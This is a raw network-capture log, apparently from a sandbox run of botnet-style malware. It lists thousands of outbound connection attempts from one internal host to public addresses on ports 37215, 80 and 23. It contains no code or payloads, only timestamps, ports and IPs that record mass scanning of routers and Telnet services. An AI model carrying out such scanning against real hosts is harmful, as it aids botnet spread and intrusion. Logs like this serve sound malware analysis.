Dec 3, 2024 22:11:52.169581890 CET	5603	37215	192.168.2.23	156.144.226.163
Dec 3, 2024 22:11:52.169584036 CET	5603	37215	192.168.2.23	197.105.10.188
Dec 3, 2024 22:11:52.169594049 CET	5603	37215	192.168.2.23	156.122.170.129
Dec 3, 2024 22:11:52.169600010 CET	5603	37215	192.168.2.23	156.44.62.37
Dec 3, 2024 22:11:52.169600010 CET	5603	37215	192.168.2.23	156.84.17.39
Dec 3, 2024 22:11:52.169609070 CET	5603	37215	192.168.2.23	156.121.96.203
Dec 3, 2024 22:11:52.169614077 CET	5603	37215	192.168.2.23	156.86.138.214
Dec 3, 2024 22:11:52.169621944 CET	5603	37215	192.168.2.23	156.81.172.233
Dec 3, 2024 22:11:52.169630051 CET	5603	37215	192.168.2.23	197.88.255.190
Dec 3, 2024 22:11:52.169637918 CET	5603	37215	192.168.2.23	156.253.2.118
Dec 3, 2024 22:11:52.169642925 CET	5603	37215	192.168.2.23	197.223.176.15
Dec 3, 2024 22:11:52.169655085 CET	5603	37215	192.168.2.23	156.245.111.4
Dec 3, 2024 22:11:52.169660091 CET	5603	37215	192.168.2.23	41.248.147.194
Dec 3, 2024 22:11:52.169662952 CET	5603	37215	192.168.2.23	156.137.165.6
Dec 3, 2024 22:11:52.169662952 CET	5603	37215	192.168.2.23	156.218.237.209
Dec 3, 2024 22:11:52.169667006 CET	5603	37215	192.168.2.23	41.226.213.114
Dec 3, 2024 22:11:52.169671059 CET	5603	37215	192.168.2.23	197.213.28.66
Dec 3, 2024 22:11:52.169671059 CET	5603	37215	192.168.2.23	41.195.179.92
Dec 3, 2024 22:11:52.169678926 CET	5603	37215	192.168.2.23	156.111.182.116
Dec 3, 2024 22:11:52.169681072 CET	5603	37215	192.168.2.23	41.185.0.50
Dec 3, 2024 22:11:52.169682026 CET	5603	37215	192.168.2.23	197.3.82.243
Dec 3, 2024 22:11:52.169694901 CET	5603	37215	192.168.2.23	156.198.29.229
Dec 3, 2024 22:11:52.169712067 CET	5603	37215	192.168.2.23	41.93.241.42
Dec 3, 2024 22:11:52.169712067 CET	5603	37215	192.168.2.23	197.239.164.1
Dec 3, 2024 22:11:52.169714928 CET	5603	37215	192.168.2.23	41.52.77.174
Dec 3, 2024 22:11:52.169715881 CET	5603	37215	192.168.2.23	156.158.134.209
Dec 3, 2024 22:11:52.169723034 CET	5603	37215	192.168.2.23	156.2.188.239
Dec 3, 2024 22:11:52.169728994 CET	5603	37215	192.168.2.23	197.100.184.199
Dec 3, 2024 22:11:52.169728994 CET	5603	37215	192.168.2.23	156.24.182.97
Dec 3, 2024 22:11:52.169749975 CET	5603	37215	192.168.2.23	41.1.132.241
Dec 3, 2024 22:11:52.169760942 CET	5603	37215	192.168.2.23	197.70.194.23
Dec 3, 2024 22:11:52.169770956 CET	5603	37215	192.168.2.23	41.39.235.195
Dec 3, 2024 22:11:52.220669031 CET	80	54008	209.250.24.111	192.168.2.23
Dec 3, 2024 22:11:52.220853090 CET	54008	80	192.168.2.23	209.250.24.111
Dec 3, 2024 22:11:52.257810116 CET	80	6883	179.139.164.55	192.168.2.23
Dec 3, 2024 22:11:52.257901907 CET	80	6883	65.236.202.115	192.168.2.23
Dec 3, 2024 22:11:52.257913113 CET	80	6883	24.30.197.102	192.168.2.23
Dec 3, 2024 22:11:52.257916927 CET	80	6883	36.128.111.41	192.168.2.23
Dec 3, 2024 22:11:52.257921934 CET	80	6883	113.28.235.30	192.168.2.23
Dec 3, 2024 22:11:52.257926941 CET	80	43872	168.141.43.142	192.168.2.23
Dec 3, 2024 22:11:52.257935047 CET	80	6883	123.143.40.243	192.168.2.23
Dec 3, 2024 22:11:52.257939100 CET	80	6883	96.188.193.232	192.168.2.23
Dec 3, 2024 22:11:52.257946014 CET	80	6883	4.207.41.110	192.168.2.23
Dec 3, 2024 22:11:52.257950068 CET	80	6883	212.19.103.155	192.168.2.23
Dec 3, 2024 22:11:52.257965088 CET	80	6883	188.25.84.70	192.168.2.23
Dec 3, 2024 22:11:52.257973909 CET	80	6883	13.196.196.235	192.168.2.23
Dec 3, 2024 22:11:52.257977962 CET	80	6883	93.254.60.25	192.168.2.23
Dec 3, 2024 22:11:52.257986069 CET	80	6883	96.223.198.226	192.168.2.23
Dec 3, 2024 22:11:52.257994890 CET	80	6883	116.106.246.147	192.168.2.23
Dec 3, 2024 22:11:52.258016109 CET	80	6883	92.13.254.172	192.168.2.23
Dec 3, 2024 22:11:52.258024931 CET	80	38430	42.54.179.203	192.168.2.23
Dec 3, 2024 22:11:52.258024931 CET	6883	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.258037090 CET	6883	80	192.168.2.23	13.196.196.235
Dec 3, 2024 22:11:52.258055925 CET	6883	80	192.168.2.23	93.254.60.25
Dec 3, 2024 22:11:52.258061886 CET	80	34300	89.237.234.81	192.168.2.23
Dec 3, 2024 22:11:52.258058071 CET	43872	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:52.258059025 CET	6883	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:52.258059025 CET	6883	80	192.168.2.23	179.139.164.55
Dec 3, 2024 22:11:52.258080959 CET	38430	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:52.258080006 CET	6883	80	192.168.2.23	92.13.254.172
Dec 3, 2024 22:11:52.258101940 CET	34300	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:52.258101940 CET	6883	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.258141994 CET	6883	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.258145094 CET	6883	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:52.258158922 CET	6883	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:52.258162975 CET	6883	80	192.168.2.23	96.188.193.232
Dec 3, 2024 22:11:52.258169889 CET	6883	80	192.168.2.23	212.19.103.155
Dec 3, 2024 22:11:52.258213043 CET	6883	80	192.168.2.23	96.223.198.226
Dec 3, 2024 22:11:52.258217096 CET	6883	80	192.168.2.23	188.25.84.70
Dec 3, 2024 22:11:52.258222103 CET	6883	80	192.168.2.23	116.106.246.147
Dec 3, 2024 22:11:52.258886099 CET	80	6883	72.124.120.20	192.168.2.23
Dec 3, 2024 22:11:52.258896112 CET	80	46190	175.207.62.8	192.168.2.23
Dec 3, 2024 22:11:52.258903980 CET	80	6883	85.19.189.63	192.168.2.23
Dec 3, 2024 22:11:52.258924961 CET	80	6883	167.115.243.47	192.168.2.23
Dec 3, 2024 22:11:52.258930922 CET	6883	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:52.258932114 CET	6883	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:52.258935928 CET	80	6883	50.183.212.32	192.168.2.23
Dec 3, 2024 22:11:52.258945942 CET	80	56078	51.132.116.166	192.168.2.23
Dec 3, 2024 22:11:52.258980989 CET	46190	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:52.258985043 CET	6883	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:52.258985043 CET	6883	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:52.259004116 CET	56078	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:52.259140968 CET	80	50420	178.168.125.118	192.168.2.23
Dec 3, 2024 22:11:52.259152889 CET	80	51646	157.10.232.130	192.168.2.23
Dec 3, 2024 22:11:52.259171009 CET	80	40004	98.103.8.79	192.168.2.23
Dec 3, 2024 22:11:52.259181976 CET	50420	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:52.259192944 CET	51646	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:52.259346008 CET	80	40158	98.103.8.79	192.168.2.23
Dec 3, 2024 22:11:52.259428024 CET	40158	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.259470940 CET	80	50590	189.113.25.114	192.168.2.23
Dec 3, 2024 22:11:52.259510994 CET	50590	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:52.259557962 CET	40158	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.259624958 CET	80	36674	112.17.46.206	192.168.2.23
Dec 3, 2024 22:11:52.259634972 CET	80	53426	166.46.184.48	192.168.2.23
Dec 3, 2024 22:11:52.259705067 CET	80	36338	100.44.128.127	192.168.2.23
Dec 3, 2024 22:11:52.259716034 CET	80	51898	25.56.170.39	192.168.2.23
Dec 3, 2024 22:11:52.259766102 CET	80	44292	185.248.148.162	192.168.2.23
Dec 3, 2024 22:11:52.259768009 CET	80	34518	121.123.242.60	192.168.2.23
Dec 3, 2024 22:11:52.259810925 CET	80	34546	121.127.51.127	192.168.2.23
Dec 3, 2024 22:11:52.259821892 CET	80	59370	133.23.65.66	192.168.2.23
Dec 3, 2024 22:11:52.259830952 CET	80	44490	120.47.138.87	192.168.2.23
Dec 3, 2024 22:11:52.259871006 CET	80	40474	220.40.166.42	192.168.2.23
Dec 3, 2024 22:11:52.259882927 CET	80	60982	177.109.45.183	192.168.2.23
Dec 3, 2024 22:11:52.259892941 CET	80	39326	52.200.155.160	192.168.2.23
Dec 3, 2024 22:11:52.259974957 CET	80	56704	114.255.133.213	192.168.2.23
Dec 3, 2024 22:11:52.259979963 CET	80	39220	90.128.45.194	192.168.2.23
Dec 3, 2024 22:11:52.259990931 CET	80	34830	67.109.205.61	192.168.2.23
Dec 3, 2024 22:11:52.259999990 CET	80	39822	222.183.121.253	192.168.2.23
Dec 3, 2024 22:11:52.260006905 CET	80	34864	204.35.166.113	192.168.2.23
Dec 3, 2024 22:11:52.260015011 CET	80	47744	165.71.235.9	192.168.2.23
Dec 3, 2024 22:11:52.260019064 CET	80	39220	90.128.45.194	192.168.2.23
Dec 3, 2024 22:11:52.260070086 CET	39220	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:52.260138988 CET	80	38518	205.91.17.173	192.168.2.23
Dec 3, 2024 22:11:52.260184050 CET	34700	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.260279894 CET	80	34830	67.109.205.61	192.168.2.23
Dec 3, 2024 22:11:52.260318041 CET	34830	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:52.260497093 CET	80	40474	220.40.166.42	192.168.2.23
Dec 3, 2024 22:11:52.260559082 CET	40474	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:52.260853052 CET	37190	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:52.260950089 CET	80	45478	112.94.207.133	192.168.2.23
Dec 3, 2024 22:11:52.260958910 CET	80	39822	222.183.121.253	192.168.2.23
Dec 3, 2024 22:11:52.261029959 CET	39822	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:52.261266947 CET	80	34368	123.63.252.212	192.168.2.23
Dec 3, 2024 22:11:52.261519909 CET	47578	80	192.168.2.23	13.196.196.235
Dec 3, 2024 22:11:52.262108088 CET	80	39326	52.200.155.160	192.168.2.23
Dec 3, 2024 22:11:52.262116909 CET	80	47744	165.71.235.9	192.168.2.23
Dec 3, 2024 22:11:52.262149096 CET	39326	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:52.262178898 CET	47744	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:52.262178898 CET	54656	80	192.168.2.23	93.254.60.25
Dec 3, 2024 22:11:52.262674093 CET	80	56704	114.255.133.213	192.168.2.23
Dec 3, 2024 22:11:52.262743950 CET	56704	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:52.262871981 CET	57990	80	192.168.2.23	179.139.164.55
Dec 3, 2024 22:11:52.263254881 CET	80	34864	204.35.166.113	192.168.2.23
Dec 3, 2024 22:11:52.263263941 CET	80	60982	177.109.45.183	192.168.2.23
Dec 3, 2024 22:11:52.263293028 CET	34864	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:52.263293028 CET	60982	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:52.263380051 CET	80	34518	121.123.242.60	192.168.2.23
Dec 3, 2024 22:11:52.263411999 CET	34518	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:52.263587952 CET	37922	80	192.168.2.23	92.13.254.172
Dec 3, 2024 22:11:52.263822079 CET	80	44490	120.47.138.87	192.168.2.23
Dec 3, 2024 22:11:52.263864040 CET	44490	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:52.264280081 CET	53214	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.264607906 CET	80	36338	100.44.128.127	192.168.2.23
Dec 3, 2024 22:11:52.264667034 CET	36338	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:52.264976025 CET	44822	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.265275002 CET	80	51898	25.56.170.39	192.168.2.23
Dec 3, 2024 22:11:52.265314102 CET	51898	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:52.265649080 CET	40266	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:52.265676022 CET	80	44292	185.248.148.162	192.168.2.23
Dec 3, 2024 22:11:52.265738010 CET	44292	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:52.266319990 CET	53218	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:52.267050982 CET	36818	80	192.168.2.23	96.188.193.232
Dec 3, 2024 22:11:52.267677069 CET	37464	80	192.168.2.23	212.19.103.155
Dec 3, 2024 22:11:52.268209934 CET	80	59370	133.23.65.66	192.168.2.23
Dec 3, 2024 22:11:52.268256903 CET	59370	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:52.268354893 CET	39770	80	192.168.2.23	188.25.84.70
Dec 3, 2024 22:11:52.269022942 CET	53314	80	192.168.2.23	96.223.198.226
Dec 3, 2024 22:11:52.269412994 CET	80	34546	121.127.51.127	192.168.2.23
Dec 3, 2024 22:11:52.269484043 CET	34546	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:52.269676924 CET	35678	80	192.168.2.23	116.106.246.147
Dec 3, 2024 22:11:52.270329952 CET	43134	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:52.270982981 CET	57970	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:52.271624088 CET	42318	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:52.272301912 CET	80	53426	166.46.184.48	192.168.2.23
Dec 3, 2024 22:11:52.272329092 CET	57792	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:52.272341967 CET	53426	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:52.272367954 CET	80	36674	112.17.46.206	192.168.2.23
Dec 3, 2024 22:11:52.272406101 CET	36674	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:52.284557104 CET	80	33462	151.235.178.124	192.168.2.23
Dec 3, 2024 22:11:52.284686089 CET	80	37986	133.83.247.90	192.168.2.23
Dec 3, 2024 22:11:52.284698963 CET	80	38726	175.229.50.139	192.168.2.23
Dec 3, 2024 22:11:52.284710884 CET	80	60986	97.146.133.90	192.168.2.23
Dec 3, 2024 22:11:52.284861088 CET	80	45088	89.77.49.90	192.168.2.23
Dec 3, 2024 22:11:52.284873962 CET	80	37528	155.120.96.18	192.168.2.23
Dec 3, 2024 22:11:52.284907103 CET	80	58750	203.199.224.170	192.168.2.23
Dec 3, 2024 22:11:52.286850929 CET	80	38094	77.145.142.253	192.168.2.23
Dec 3, 2024 22:11:52.286886930 CET	80	45776	201.42.80.185	192.168.2.23
Dec 3, 2024 22:11:52.286899090 CET	80	39860	179.41.60.148	192.168.2.23
Dec 3, 2024 22:11:52.286910057 CET	80	58042	220.107.18.26	192.168.2.23
Dec 3, 2024 22:11:52.286925077 CET	80	42658	72.98.186.118	192.168.2.23
Dec 3, 2024 22:11:52.287245989 CET	80	36618	159.47.73.163	192.168.2.23
Dec 3, 2024 22:11:52.287260056 CET	80	39504	35.37.81.75	192.168.2.23
Dec 3, 2024 22:11:52.287273884 CET	80	39698	35.37.81.75	192.168.2.23
Dec 3, 2024 22:11:52.287329912 CET	39698	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.287358046 CET	80	60942	132.243.143.161	192.168.2.23
Dec 3, 2024 22:11:52.287369967 CET	80	57902	190.176.20.128	192.168.2.23
Dec 3, 2024 22:11:52.287373066 CET	39698	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.287412882 CET	80	45656	140.76.241.6	192.168.2.23
Dec 3, 2024 22:11:52.287580967 CET	80	40970	134.42.74.112	192.168.2.23
Dec 3, 2024 22:11:52.288125038 CET	80	56590	91.179.4.197	192.168.2.23
Dec 3, 2024 22:11:52.288167953 CET	56590	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:52.299639940 CET	80	40004	98.103.8.79	192.168.2.23
Dec 3, 2024 22:11:52.307682991 CET	80	34368	123.63.252.212	192.168.2.23
Dec 3, 2024 22:11:52.307706118 CET	80	45478	112.94.207.133	192.168.2.23
Dec 3, 2024 22:11:52.307717085 CET	80	38518	205.91.17.173	192.168.2.23
Dec 3, 2024 22:11:52.331661940 CET	80	40970	134.42.74.112	192.168.2.23
Dec 3, 2024 22:11:52.331676960 CET	80	45656	140.76.241.6	192.168.2.23
Dec 3, 2024 22:11:52.331769943 CET	80	57902	190.176.20.128	192.168.2.23
Dec 3, 2024 22:11:52.331782103 CET	80	60942	132.243.143.161	192.168.2.23
Dec 3, 2024 22:11:52.331792116 CET	80	39504	35.37.81.75	192.168.2.23
Dec 3, 2024 22:11:52.331800938 CET	80	36618	159.47.73.163	192.168.2.23
Dec 3, 2024 22:11:52.331810951 CET	80	42658	72.98.186.118	192.168.2.23
Dec 3, 2024 22:11:52.331821918 CET	80	58042	220.107.18.26	192.168.2.23
Dec 3, 2024 22:11:52.331846952 CET	80	39860	179.41.60.148	192.168.2.23
Dec 3, 2024 22:11:52.331856012 CET	80	45776	201.42.80.185	192.168.2.23
Dec 3, 2024 22:11:52.331865072 CET	80	38094	77.145.142.253	192.168.2.23
Dec 3, 2024 22:11:52.331875086 CET	80	58750	203.199.224.170	192.168.2.23
Dec 3, 2024 22:11:52.331885099 CET	80	37528	155.120.96.18	192.168.2.23
Dec 3, 2024 22:11:52.331893921 CET	80	45088	89.77.49.90	192.168.2.23
Dec 3, 2024 22:11:52.331902981 CET	80	60986	97.146.133.90	192.168.2.23
Dec 3, 2024 22:11:52.331919909 CET	80	38726	175.229.50.139	192.168.2.23
Dec 3, 2024 22:11:52.331928968 CET	80	37986	133.83.247.90	192.168.2.23
Dec 3, 2024 22:11:52.332273960 CET	80	33462	151.235.178.124	192.168.2.23
Dec 3, 2024 22:11:52.377063990 CET	8163	23	192.168.2.23	133.42.10.34
Dec 3, 2024 22:11:52.377065897 CET	8163	23	192.168.2.23	165.85.6.188
Dec 3, 2024 22:11:52.377074003 CET	8163	23	192.168.2.23	50.59.233.135
Dec 3, 2024 22:11:52.377079964 CET	8163	23	192.168.2.23	39.70.212.68
Dec 3, 2024 22:11:52.377096891 CET	8163	23	192.168.2.23	193.14.238.228
Dec 3, 2024 22:11:52.377104044 CET	8163	23	192.168.2.23	156.149.90.205
Dec 3, 2024 22:11:52.377106905 CET	8163	23	192.168.2.23	223.117.9.253
Dec 3, 2024 22:11:52.377110958 CET	8163	23	192.168.2.23	133.46.59.199
Dec 3, 2024 22:11:52.377110958 CET	8163	23	192.168.2.23	159.81.203.97
Dec 3, 2024 22:11:52.377120972 CET	8163	23	192.168.2.23	72.21.33.4
Dec 3, 2024 22:11:52.377129078 CET	8163	23	192.168.2.23	116.121.113.245
Dec 3, 2024 22:11:52.377130032 CET	8163	23	192.168.2.23	134.179.59.199
Dec 3, 2024 22:11:52.377134085 CET	8163	23	192.168.2.23	130.130.19.3
Dec 3, 2024 22:11:52.377140045 CET	8163	23	192.168.2.23	101.43.36.27
Dec 3, 2024 22:11:52.377139091 CET	8163	23	192.168.2.23	96.189.3.61
Dec 3, 2024 22:11:52.377147913 CET	8163	23	192.168.2.23	124.218.179.39
Dec 3, 2024 22:11:52.377147913 CET	8163	23	192.168.2.23	198.244.133.17
Dec 3, 2024 22:11:52.377156019 CET	8163	23	192.168.2.23	206.165.82.255
Dec 3, 2024 22:11:52.377161026 CET	8163	23	192.168.2.23	177.248.41.57
Dec 3, 2024 22:11:52.377178907 CET	8163	23	192.168.2.23	170.239.72.21
Dec 3, 2024 22:11:52.377183914 CET	8163	23	192.168.2.23	17.179.123.202
Dec 3, 2024 22:11:52.377186060 CET	8163	23	192.168.2.23	112.83.139.77
Dec 3, 2024 22:11:52.377187967 CET	8163	23	192.168.2.23	67.175.207.216
Dec 3, 2024 22:11:52.377187967 CET	8163	23	192.168.2.23	145.221.232.35
Dec 3, 2024 22:11:52.377201080 CET	8163	23	192.168.2.23	212.93.54.146
Dec 3, 2024 22:11:52.377212048 CET	8163	23	192.168.2.23	51.172.52.188
Dec 3, 2024 22:11:52.377217054 CET	8163	23	192.168.2.23	135.182.151.227
Dec 3, 2024 22:11:52.377226114 CET	8163	23	192.168.2.23	46.160.94.27
Dec 3, 2024 22:11:52.377227068 CET	8163	23	192.168.2.23	65.217.131.97
Dec 3, 2024 22:11:52.377240896 CET	8163	23	192.168.2.23	151.99.135.147
Dec 3, 2024 22:11:52.377242088 CET	8163	23	192.168.2.23	132.207.189.177
Dec 3, 2024 22:11:52.377249002 CET	8163	23	192.168.2.23	133.130.155.24
Dec 3, 2024 22:11:52.377254009 CET	8163	23	192.168.2.23	192.37.108.211
Dec 3, 2024 22:11:52.377259970 CET	8163	23	192.168.2.23	120.118.231.132
Dec 3, 2024 22:11:52.377263069 CET	8163	23	192.168.2.23	196.175.227.42
Dec 3, 2024 22:11:52.377275944 CET	8163	23	192.168.2.23	179.70.213.151
Dec 3, 2024 22:11:52.377279043 CET	8163	23	192.168.2.23	203.175.180.241
Dec 3, 2024 22:11:52.377279997 CET	8163	23	192.168.2.23	91.82.62.114
Dec 3, 2024 22:11:52.377286911 CET	8163	23	192.168.2.23	196.112.247.251
Dec 3, 2024 22:11:52.377294064 CET	8163	23	192.168.2.23	121.164.66.47
Dec 3, 2024 22:11:52.377295017 CET	8163	23	192.168.2.23	161.192.63.138
Dec 3, 2024 22:11:52.377298117 CET	8163	23	192.168.2.23	47.189.107.107
Dec 3, 2024 22:11:52.377305031 CET	8163	23	192.168.2.23	196.205.85.162
Dec 3, 2024 22:11:52.377305031 CET	8163	23	192.168.2.23	207.71.234.79
Dec 3, 2024 22:11:52.377311945 CET	8163	23	192.168.2.23	139.204.223.62
Dec 3, 2024 22:11:52.377320051 CET	8163	23	192.168.2.23	80.133.180.165
Dec 3, 2024 22:11:52.377327919 CET	8163	23	192.168.2.23	124.11.167.247
Dec 3, 2024 22:11:52.377341032 CET	8163	23	192.168.2.23	213.125.216.238
Dec 3, 2024 22:11:52.377357006 CET	8163	23	192.168.2.23	110.6.139.74
Dec 3, 2024 22:11:52.377357960 CET	8163	23	192.168.2.23	180.216.220.183
Dec 3, 2024 22:11:52.377362967 CET	8163	23	192.168.2.23	113.185.43.29
Dec 3, 2024 22:11:52.377365112 CET	8163	23	192.168.2.23	100.16.5.189
Dec 3, 2024 22:11:52.377372026 CET	8163	23	192.168.2.23	150.89.213.44
Dec 3, 2024 22:11:52.377383947 CET	8163	23	192.168.2.23	145.204.193.40
Dec 3, 2024 22:11:52.377386093 CET	8163	23	192.168.2.23	98.110.195.188
Dec 3, 2024 22:11:52.377392054 CET	8163	23	192.168.2.23	75.167.24.81
Dec 3, 2024 22:11:52.377398968 CET	8163	23	192.168.2.23	186.23.238.159
Dec 3, 2024 22:11:52.377408028 CET	8163	23	192.168.2.23	206.136.141.52
Dec 3, 2024 22:11:52.377408981 CET	8163	23	192.168.2.23	178.8.202.119
Dec 3, 2024 22:11:52.377409935 CET	8163	23	192.168.2.23	2.179.160.45
Dec 3, 2024 22:11:52.377418041 CET	8163	23	192.168.2.23	63.172.19.229
Dec 3, 2024 22:11:52.377432108 CET	8163	23	192.168.2.23	76.143.118.149
Dec 3, 2024 22:11:52.377439976 CET	8163	23	192.168.2.23	71.205.91.210
Dec 3, 2024 22:11:52.377439976 CET	8163	23	192.168.2.23	130.165.248.39
Dec 3, 2024 22:11:52.377446890 CET	8163	23	192.168.2.23	68.125.215.188
Dec 3, 2024 22:11:52.377453089 CET	8163	23	192.168.2.23	40.9.66.14
Dec 3, 2024 22:11:52.377460003 CET	8163	23	192.168.2.23	62.200.171.99
Dec 3, 2024 22:11:52.377465963 CET	8163	23	192.168.2.23	89.22.52.244
Dec 3, 2024 22:11:52.377477884 CET	8163	23	192.168.2.23	137.226.202.174
Dec 3, 2024 22:11:52.377509117 CET	8163	23	192.168.2.23	86.133.215.122
Dec 3, 2024 22:11:52.377515078 CET	8163	23	192.168.2.23	176.22.250.198
Dec 3, 2024 22:11:52.377521992 CET	8163	23	192.168.2.23	189.247.6.111
Dec 3, 2024 22:11:52.377522945 CET	8163	23	192.168.2.23	8.188.26.70
Dec 3, 2024 22:11:52.377523899 CET	8163	23	192.168.2.23	79.35.69.54
Dec 3, 2024 22:11:52.377523899 CET	8163	23	192.168.2.23	87.153.166.139
Dec 3, 2024 22:11:52.377526999 CET	8163	23	192.168.2.23	50.0.73.45
Dec 3, 2024 22:11:52.377526999 CET	8163	23	192.168.2.23	138.97.168.58
Dec 3, 2024 22:11:52.377526999 CET	8163	23	192.168.2.23	133.17.190.49
Dec 3, 2024 22:11:52.377526999 CET	8163	23	192.168.2.23	153.157.214.117
Dec 3, 2024 22:11:52.377526999 CET	8163	23	192.168.2.23	66.177.7.209
Dec 3, 2024 22:11:52.377526999 CET	8163	23	192.168.2.23	14.249.9.227
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	116.173.232.243
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	77.98.203.58
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	134.53.186.244
Dec 3, 2024 22:11:52.377547026 CET	8163	23	192.168.2.23	119.188.136.251
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	112.140.99.235
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	76.208.7.165
Dec 3, 2024 22:11:52.377546072 CET	8163	23	192.168.2.23	155.7.236.206
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	57.149.156.228
Dec 3, 2024 22:11:52.377547026 CET	8163	23	192.168.2.23	48.247.253.225
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	160.227.19.80
Dec 3, 2024 22:11:52.377545118 CET	8163	23	192.168.2.23	221.236.80.217
Dec 3, 2024 22:11:52.377554893 CET	8163	23	192.168.2.23	96.66.206.145
Dec 3, 2024 22:11:52.377554893 CET	8163	23	192.168.2.23	60.17.78.66
Dec 3, 2024 22:11:52.377554893 CET	8163	23	192.168.2.23	211.106.84.20
Dec 3, 2024 22:11:52.377554893 CET	8163	23	192.168.2.23	142.130.80.124
Dec 3, 2024 22:11:52.377564907 CET	8163	23	192.168.2.23	184.128.209.244
Dec 3, 2024 22:11:52.377564907 CET	8163	23	192.168.2.23	84.5.159.142
Dec 3, 2024 22:11:52.377564907 CET	8163	23	192.168.2.23	130.85.77.130
Dec 3, 2024 22:11:52.377568007 CET	8163	23	192.168.2.23	217.196.204.254
Dec 3, 2024 22:11:52.377568007 CET	8163	23	192.168.2.23	38.198.104.68
Dec 3, 2024 22:11:52.377571106 CET	8163	23	192.168.2.23	133.2.194.163
Dec 3, 2024 22:11:52.377571106 CET	8163	23	192.168.2.23	5.180.161.106
Dec 3, 2024 22:11:52.377571106 CET	8163	23	192.168.2.23	116.183.143.209
Dec 3, 2024 22:11:52.377573967 CET	8163	23	192.168.2.23	71.56.238.225
Dec 3, 2024 22:11:52.377573967 CET	8163	23	192.168.2.23	105.7.233.122
Dec 3, 2024 22:11:52.377592087 CET	8163	23	192.168.2.23	49.78.126.114
Dec 3, 2024 22:11:52.377592087 CET	8163	23	192.168.2.23	208.162.162.77
Dec 3, 2024 22:11:52.377593040 CET	8163	23	192.168.2.23	54.1.253.27
Dec 3, 2024 22:11:52.377593040 CET	8163	23	192.168.2.23	160.102.192.110
Dec 3, 2024 22:11:52.377593040 CET	8163	23	192.168.2.23	92.25.146.148
Dec 3, 2024 22:11:52.377594948 CET	8163	23	192.168.2.23	158.245.38.218
Dec 3, 2024 22:11:52.377595901 CET	8163	23	192.168.2.23	130.15.44.7
Dec 3, 2024 22:11:52.377595901 CET	8163	23	192.168.2.23	108.76.27.231
Dec 3, 2024 22:11:52.377595901 CET	8163	23	192.168.2.23	205.96.177.11
Dec 3, 2024 22:11:52.377598047 CET	8163	23	192.168.2.23	110.196.190.227
Dec 3, 2024 22:11:52.377599001 CET	8163	23	192.168.2.23	80.162.122.127
Dec 3, 2024 22:11:52.377599001 CET	8163	23	192.168.2.23	221.241.153.80
Dec 3, 2024 22:11:52.377605915 CET	8163	23	192.168.2.23	194.232.89.195
Dec 3, 2024 22:11:52.377605915 CET	8163	23	192.168.2.23	17.155.228.188
Dec 3, 2024 22:11:52.377609015 CET	8163	23	192.168.2.23	79.72.242.179
Dec 3, 2024 22:11:52.377609015 CET	8163	23	192.168.2.23	95.235.125.224
Dec 3, 2024 22:11:52.377609015 CET	8163	23	192.168.2.23	181.174.146.98
Dec 3, 2024 22:11:52.377612114 CET	8163	23	192.168.2.23	164.180.141.131
Dec 3, 2024 22:11:52.377613068 CET	8163	23	192.168.2.23	116.46.170.236
Dec 3, 2024 22:11:52.377613068 CET	8163	23	192.168.2.23	176.23.119.89
Dec 3, 2024 22:11:52.377614975 CET	8163	23	192.168.2.23	200.195.170.175
